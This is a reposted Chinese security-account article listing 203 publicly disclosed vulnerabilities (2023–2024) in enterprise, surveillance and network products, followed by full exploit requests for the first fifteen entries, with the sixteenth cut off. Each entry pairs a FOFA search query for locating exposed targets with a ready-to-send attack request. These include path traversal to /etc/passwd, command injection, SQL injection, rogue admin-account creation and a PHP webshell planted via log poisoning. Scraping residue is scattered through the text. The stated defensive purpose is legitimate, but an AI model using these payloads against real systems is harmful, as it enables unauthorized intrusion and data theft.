互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界
" f0 N/ }. D" u5 [; M) i
2 X  T1 Y- l! V3 U' m发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
, F# J3 |7 ]! m6 W
; ]/ T/ |# r* d安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
) p0 s9 p+ `# \  i; z# Z$ I2 B
5 E- N  T( s; Q$ u" Z' G: I文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。
4 F- w% q5 c3 j5 x/ z' u
合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

! I: c# y1 b0 J: Y( y% |3 L
. a! D- S# Q" b3 V- p+ C, Y& u( K声明
. P- |- |. `5 }: \6 H3 x& V
5 k4 K; V1 u; S: p为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

1 d' E* b3 E, [/ u% h3 P有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
6 i' e( g4 q# y! \4 a- v4 d


9 A; ~! f7 h- E! c, L: v目录
/ Z+ `% I2 O" X- k
: y) y1 d/ K) o6 f- k( K& e01

, ?" f; U( ^% `7 V1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
) R9 g2 {; S# u# i4 q3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
' c1 y: \0 w& m' T, c4 y5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
# U) R# |7 L+ g$ H10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
# `" {% G% w3 F$ r3 f4 T13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
15. 华夏ERP getAllList信息泄露
4 p% j( t& F* w# m- {16. 红帆HFOffice医微云SQL注入
1 P- J: Z& C/ s5 r6 u4 k3 ~" J" J* I17. 大华 DSS itcBulletin SQL 注入
  y9 C0 n  B6 Q3 l18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
3 g4 A- t+ B6 ~6 y! c! y8 p19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
20. 大华ICC智能物联综合管理平台任意文件读取
) ]$ j8 Y! l2 U5 h21. 大华ICC智能物联综合管理平台random远程代码执行
/ `' [3 w$ u+ p; T5 Q8 m% L22. 大华ICC智能物联综合管理平台 log4j远程代码执行
: \. m! }5 {& W& t9 d5 Z% D8 _23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
7 a( @* p4 @7 P6 R24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
  l- `/ V# ^/ H6 Y  Q30. 用友NC importPml SQL注入
31. 用友NC runStateServlet SQL注入
" |  t9 ~" K( H7 ^4 s+ n32. 用友NC complainbilldetail SQL注入
' Z9 W- K- U" Y; l33. 用友NC downTax/download SQL注入
' f( r- s: E- R* U8 {34. 用友NC warningDetailInfo接口SQL注入
4 f" n9 s4 ~- K( ~35. 用友NC-Cloud importhttpscer任意文件上传
36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
! t; m. K4 ]* i" S  F39. 用友U8 Cloud RegisterServlet SQL注入
1 F7 Y! c* |2 q: U0 \40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
8 B( ~- I" |: F/ j  |* E3 a) ^( I) O, U. \42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
' K: P' @" V1 t3 ^46. 用友GRP-U8 sqcxIndex.jsp SQL注入
, \+ y, c$ T' n3 J9 d  P; x6 ?47. 用友GRP A++Cloud 政府财务云 任意文件读取
( v7 n. r9 s  j6 [+ A! q8 r48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
& t5 I" Z! d8 {' g5 Q  l50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
' p# |& F4 ^# {* {54. 畅捷通T+ getstorewarehousebystore 远程代码执行
: w) L+ P0 {! g+ [/ g5 v4 r6 {" |55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
7 e8 K6 A3 `' _8 W8 b( R5 b$ T# J8 C58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
; _' @4 a) V% W9 Q0 r  k60. 百卓Smart管理平台 importexport.php SQL注入
# k1 `& F+ }0 A( A! t61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
1 K1 Q0 v% ?) D5 y  |+ N4 w65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
9 `0 N; [9 y# w+ k+ d66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
7 U7 O$ R( `3 e69. 万户 ezOFFICE contract_gd.jsp SQL注入
70. 万户ezEIP success 命令执行
4 J0 X, E! f" v1 a) D( {/ B6 f71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
7 B/ `" A' r$ A  G9 H( e- _72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
& [' {0 w" n& E/ O: B. i75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
76. 新开普掌上校园服务管理平台service.action远程命令执行
! B2 {* n& y/ g5 _' U77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
9 w  e6 x( x% T$ e% L; h# G7 c- ~! O79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
( V3 \- f: [9 Z" @$ q81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
- b( K( e# {# x% u82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
- S1 x1 b0 X# _* Y2 Z8 s  p83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
' d- D5 z: ]: g/ V- q. R" J% m85. SysAid On-premise< 23.3.36远程代码执行
4 ~. F) S3 q3 Y! v, s0 A86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
# B2 l2 F! O) w88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
) e* w7 Y5 a- J91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
" _6 U' p+ p! b) N92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
1 X! U# i6 c6 A; K97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
9 A0 k( ~% p, n$ Z' d99. Ncast盈可视高清智能录播系统busiFacade RCE
9 M6 D! e' T& t+ [100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
+ _  E, {8 F- H& V101. ivanti policy secure-22.6命令注入
" e+ y% i, i0 \) e! g. w/ N4 W- e# t102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
1 C' `5 ]3 A# \4 z5 q107. SpringBlade tenant/list SQL 注入
7 c* F- p$ {' Y% p108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
( F8 K/ ?2 G/ F! q9 @& z110. Goanywhere MFT 未授权创建管理员
! G. Y9 ]+ a. ^6 z% ?111. WordPress Plugin HTML5 Video Player SQL注入
/ z: T  o8 W) t) V" V- P, G* }5 M112. WordPress Plugin NotificationX SQL 注入
, y4 R1 n8 Q6 P8 `113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
/ r& i+ }' U! A115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
. D% G# H7 W; }, e4 T! p117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
1 n3 X; m* k" ^1 N0 N/ \) F0 ?119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
1 u6 V9 C- X) D# t) N122. 北京百绰智能s200管理平台/importexport.php sql注入
2 F3 f; v0 K) ]: U( V; d" m8 M123. Atlassian Confluence 模板注入代码执行
: F. Q& S" J, B. |9 r. Z1 f+ G124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
( z/ q3 x/ u' G( E4 @7 B& x126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
3 l. z2 {. m& w; U. c1 W* r128. Adobe ColdFusion 反序列化
; S4 R& X" l3 W  v: Y129. Adobe ColdFusion 任意文件读取
, @% w( o2 p- O, k, g6 f; Z8 Y) q130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
, A* J# q; {" d% t; p! x132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
) z+ K8 N5 A6 X, P' v133. H5 云商城 file.php 文件上传
  {$ o: R+ B/ u1 d4 v134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
4 O2 b: y7 }( J: m  E; n" |143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
! Y2 L0 T+ K- k3 {2 l( d+ E146. MajorDoMo thumb.php 未授权远程代码执行
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
& e( |% B# {; ^2 A" Z' C7 n" q2 @149. AJ-Report开源数据大屏存在远程命令执行
. o' }* t5 p6 H% T: f150. AJ-Report 1.4.0 认证绕过与远程代码执行
! @5 y3 ?4 O! @" L5 r151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
: f# j. b' q: B  @4 `154. 天维尔消防救援作战调度平台 SQL注入
; b9 d8 T+ h% k9 H155. 六零导航页 file.php 任意文件上传
( _) F$ a# \* c, n6 G9 u/ w, {156. TBK DVR-4104/DVR-4216 操作系统命令注入
0 V. M5 m5 \3 ]1 B, s: i157. 美特CRM upload.jsp 任意文件上传
9 c" O0 D9 u+ {6 e- K0 r0 {158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
: a: M! H/ ]: ~9 T; L160. Sonatype Nexus Repository 3目录遍历与文件读取
) f9 g+ b& q% e161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
/ }6 O. h5 ~$ q! F. d163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
  G7 q2 n% ?" M5 `2 p166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
1 Y. k" O* L/ l; ~! z- l+ R5 R$ M171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
1 C6 h8 l( M. ?  P173. Check Point 安全网关任意文件读取
8 \4 g& `" f" e5 b174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
- j+ e* |& k5 k7 N( W+ U177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
5 g- ^3 z+ h: T181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
' R5 t' E/ G6 P' b185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
5 `; d: e( k; U6 j9 x5 s! x' ]* \188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
& s( E; l5 G. p1 W2 {7 ~% Q192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
' O' Y) o. @. E) ~2 S2 t0 Q193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
9 b7 I0 _5 L$ |1 z" z2 u$ }195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
196. 河南省风速科技统一认证平台密码重置
; L9 b. t3 j' J7 [6 l( ~197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
# y" ]0 s2 }; Z- K# _4 g* Z200. SeaCMS海洋影视管理系统dmku SQL注入
# S0 X& N8 H' R201. 方正全媒体新闻采编系统 binary SQL注入
" `8 H: k& ?3 Z9 W/ K7 q% K6 X; v202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传

POC列表

02

* A0 }, m8 R  s3 n# ?4 U1. StarRocks MPP数据库未授权访问
6 ?; p' `8 \6 a, ZFOFA ：title="StarRocks"
GET /mem_tracker HTTP/1.1
5 r2 _( B4 s# ^. u! s/ LHost: URL


* T/ [4 t3 C  j+ [$ k: E% ^2. Casdoor系统static任意文件读取
$ B4 G* S- d3 I7 N8 NFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
2 z1 m% w5 @3 d0 f* o7 nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
8 N+ u& t! D! k2 cConnection: close
* e$ V% M: x5 ?' N( G! G8 I  c# N2 i% kAccept: */*
Accept-Language: en
- A  f+ Y! m: i! @Accept-Encoding: gzip


3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
GET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
Host: xx.xx.xx.xx
+ o% `$ t% W. @1 f$ }; N

, z, s: ]2 i0 V' k4. EasyCVR视频管理平台存在任意用户添加
7 D* V3 P  k  F1 N7 k  i# Z6 T1 \FOFA ：title="EasyCVR"

% n1 F) N+ [6 t; F- s! S1 a/ bpassword更改为自己的密码md5
8 O: T0 f: l$ XPOST /api/v1/adduser HTTP/1.1
Host: your-ip
) l3 b  M, I: D2 G* _( vContent-Type: application/x-www-form-urlencoded; charset=UTF-8

name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1


5. NUUO NVR 视频存储管理设备远程命令执行
. }5 k6 r8 z) Y. U# _, x( i: CFOFA：title="Network Video Recorder Login"
& g: f+ B" s+ z) J$ }GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
# I: u6 c. s1 U( y- KHost: xx.xx.xx.xx


/ N) l, R# F7 k6 N6. 深信服 NGAF 任意文件读取
FOFA：title="SANGFOR | NGAF"
4 c4 K& a4 o$ |GET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:

: ^, X' F6 Q% k6 V! @2 w: u) y
/ x' v% c2 i: e% f5 W. }+ ^' s9 T3 M7. 鸿运主动安全监控云平台任意文件下载
: f+ o$ Z# B; o5 V8 @' y! TFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
1 K9 ^! k, m/ m- MHost:

$ f' o" T/ u' H
; @  @4 F: n: {/ Z: s2 {: i& C8. 斐讯 Phicomm 路由器RCE
8 V) Z3 T  r! g4 C7 OFOFA：icon_hash="-1344736688"
. k% k% r; s# Y6 a默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
$ m# q- \! w. a/ ^8 t, |( X2 ]' bHost: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
, k! k1 \# ^. Y6 b% w5 dContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
  D, ^* E% p9 L5 W) aUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
. e) y4 h4 u$ b  j5 k5 _
! e0 w) N( s. i  U------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootEnablestatus"
- I/ j8 m' X, O+ o7 M
, U5 G! h$ f) U9 P- K%s
4 G/ _% t5 y2 `& s------WebKitFormBoundaryxbgjoytz
, [7 U7 T1 {$ [, J3 {% v  T' [4 h) j! vContent-Disposition: form-data; name="wifiRebootrange"

& x5 K  @6 `& n6 |2 q12:00; id;
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

* F* w* w' m( O% V# _: \%s:
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="cururl2"

  P6 B* h" c5 a8 p- Y) w
0 n8 H1 K& c2 v& k# Z4 i) W: z3 q------WebKitFormBoundaryxbgjoytz--
( V1 h1 b: F% g

) e2 e% K; H6 h0 ]& t  e! h9. 稻壳CMS keyword 未授权SQL注入
0 |2 v! I% a( b( BFOFA：app="Doccms"
8 ?; x2 s" I# ]% {7 ^. |GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x

- _) P6 F! }% T( u: d* z5 J
. s) o/ C$ Q& J% H0 Xpayload为下列语句的二次Url编码
8 y8 n- _6 v; M6 V, Z
4 U  u: n# J7 |1 h' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

4 h7 a9 m' R" Q- J& ~" i10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
FOFA：icon_hash="953405444"
/ {1 Y* I: ]- t
( ]- S0 d0 I1 G% o文件上传后响应中包含上传文件的路径
! o1 x8 O- U9 T& sPOST /eis/service/api.aspx?action=saveImg HTTP/1.1
Host: x.x.x.x:xx
# V+ ~0 @9 _* S, g% aUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
  w( ]4 }7 V( B8 K/ z* NContent-Length: 197
. ?9 a3 f* E  M5 \' ]' J# B: u% cAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
8 f7 [, e0 i: @2 tAccept-Language: zh-CN,zh;q=0.9
5 h, q. K# R9 |1 D7 j5 mConnection: close
& G- H+ {& o5 d( rContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
8 P* ]- t* ~* A8 W% [, l& D" O" Y+ j
' k# m' |; ^5 v0 ^$ j0 m' M# g------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html
% f! m! d  C$ v: O
4 a9 C  @2 A" Z5 }- ~( `jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--
& l. y# x# S  m0 ?
4 m* F$ N! Q2 j" @+ j
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
GET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
5 n8 F5 o9 ?/ {; i& F: j6 B, Z9 f# z, GHost: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
1 Q3 H$ T3 p: ?% p' n! |6 _Connection: close


' Z2 @, @; e+ N4 N& s12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
' _  T$ P  a; V第一步先拿到cookie
GET /session/login HTTP/1.1
1 d% Q; g" _# J3 n5 V+ mHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip


响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
9 Q  @  l1 h8 w' qContent-Type: text/html; charset=UTF-8
3 g, X' `* g* PDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
! g: @( G' ]% o( z3 K/ C3 F/ Q7 ZLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
8 r3 p2 S. V  ~1 Y5 sServer: Apache/2.4.54 (Debian)
) [' W0 D/ I; ?9 ESet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
  `  N5 Q4 w2 a1 Q# h9 _# E  r9 KSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
+ h+ @/ a. N3 q; ]+ N" ?& I
+ {3 y. O' F: U' a
POST请求，执行函数并进行base64编码
! n8 y1 w0 g$ `& U- N& y' F8 R8 XPOST /session/login HTTP/1.1
2 L2 B+ j- B; k- S. |Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
7 b# r, ~, b* r: N1 i- @+ f- LConnection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
( `0 g$ V1 N) i8 Q. S& O( ]9 xCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
+ u. G/ m! I1 N" V: N8 k' ?) R% ^7 X& V" PAccept-Encoding: gzip
. I7 H. o7 c, U9 @9 C4 h
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

- ^' v1 j; ^& P+ `" j( B
9 B& \% U: s# y; j# [
向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
6 y6 W$ |. w/ F4 m: M3 ~GET /pages/view/log-2023-10-24 HTTP/1.1
Host: 192.168.190.30
% g& {5 E! j  h5 Y) R7 J3 Z  ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
2 w% f# X2 `9 }! W- q6 |K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
X-REQUESTED-WITH: XMLHttpRequest
4 k7 o. o) r2 n! F" mAccept-Encoding: gzip
1 K: \/ s( F; A1 w# a/ q
3 K. t. G4 ~& `7 t5 e, @/ j) g
13. 红帆iOffice ioFileDown任意文件读取
  C7 |# x$ ?4 w9 q& w9 E8 ?FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
: ]  E2 H' m" M) E4 Y9 ]User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
  x7 x1 }7 m' `" l2 A6 d' ?Connection: close
Accept: */*
Accept-Encoding: gzip
& E) A* `$ ^) `8 ]3 l5 F6 Y
2 i4 S' x$ {! ~! u! C3 ~
% p+ w0 y: C1 T/ R/ s" u# @) C' n4 W14. 华夏ERP（jshERP）敏感信息泄露
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
% y7 J2 F/ F  t# UConnection: close
- h  C2 }5 q" C2 aAccept: */*
( D0 O7 R0 Q% t  rAccept-Language: en
* _" [  L7 F. {+ j! z$ P7 j$ v: k" nAccept-Encoding: gzip
" F: `% T+ p: _( d1 k0 C
, Z6 G8 ?' n- B5 T( G3 R. B
1 D4 c& a: [; u  Y9 u. z- }15. 华夏ERP getAllList信息泄露
( r) j4 k) V+ }CVE-2024-0490
FOFA：body="jshERP-boot"
泄露内容包括用户名密码
8 {! A- ?/ U$ z' v2 V4 eGET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
7 C. j; W4 p; h. p+ MHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
" ^8 Q8 c0 N  P7 TConnection: close
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
) B* b+ ^1 C- R5 O" `" QAccept-Language: en
sec-ch-ua-platform: Windows
Accept-Encoding: gzip

7 k7 D; O# |6 g9 m4 _: h
16.  红帆HFOffice医微云SQL注入
FOFA：title="HFOffice"
poc中调用函数计算1234的md5值
